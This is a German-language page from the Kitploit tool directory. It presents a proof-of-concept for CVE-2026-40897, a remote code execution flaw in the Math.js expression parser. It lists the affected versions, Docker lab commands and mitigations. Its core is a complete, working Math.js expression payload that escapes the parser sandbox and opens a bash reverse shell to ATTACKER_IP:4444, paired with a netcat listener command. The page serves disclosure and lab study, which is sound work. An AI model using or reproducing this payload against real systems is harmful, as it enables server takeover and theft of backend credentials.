Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-40897 — Math.js Expression Parser RCE | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2026-40897
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungRemote-Access-ToolPayload-Entwicklung
GitHubeqstlab/cve-2026-40897

CVE-2026-40897

Math.js Expression Parser RCE

Repository anzeigen
2vor 23 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-40897 Remote Code Execution im Math.js-Ausdrucksparser

★ CVE-2026-40897 Remote Code Execution in Math.js PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


Überblick

CVE-2026-40897 ist eine Sandbox-Bypass-Schwachstelle, die zu Remote Code Execution führt, im Ausdrucksparser von Math.js. Der Filter isSafeProperty prüft nur den Eigenschaftszugriff aus Benutzerausdrücken, nicht aus internen Codepfaden. Durch das Leaken des internen Arrays von ArrayNode über toJSON() und das Überschreiben von dessen .map kann ein Angreifer internen Code dazu zwingen, auf Function.constructor zuzugreifen und beliebigen JavaScript-Code auszuführen.


Betroffene Versionen

Tool herunterladen
KategorieVersion
VerwundbarMath.js 13.1.1 ≤ Version ≤ 15.1.1
Behoben15.2.0

Auswirkungen

  • Ausführung beliebigen JavaScript-Codes (RCE)
  • Zugriff auf das Host-Dateisystem
  • Reverse-Shell-Verbindung, die zur vollständigen Kompromittierung des Servers führt
  • Exfiltration von Backend-Anmeldedaten und sensiblen Daten

Umgebung

root@kitploit:~
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

Nach dem Start der verwundbaren Umgebung befolgen Sie die folgenden Schritte, um den Angriff zu reproduzieren.

Schritt 1. Reverse-Shell-Listener starten

root@kitploit:~
nc -lvnp 4444

Schritt 2. Die bösartige Payload übermitteln

Senden Sie den folgenden Ausdruck an math.evaluate (z. B. über die Berechnungseingabe der Anwendung).

root@kitploit:~
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Schritt 3. Shell-Zugriff auf der Angreiferseite bestätigen

Der Zielserver verbindet sich zurück zum Listener des Angreifers und gewährt eine interaktive Bash-Shell.


Gegenmaßnahmen

  • Upgrade von Math.js auf eine gepatchte Version
  • Vermeiden Sie es, nicht vertrauenswürdige Benutzereingaben direkt an math.evaluate() zu übergeben
  • Beschränken Sie die Offenlegung interner Funktionen/Klassen (reviver, FunctionAssignmentNode, ArrayNode) über den Ausdrucksparser

Analyse

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN: https://www.skshieldus.com/en/report?tab=eqst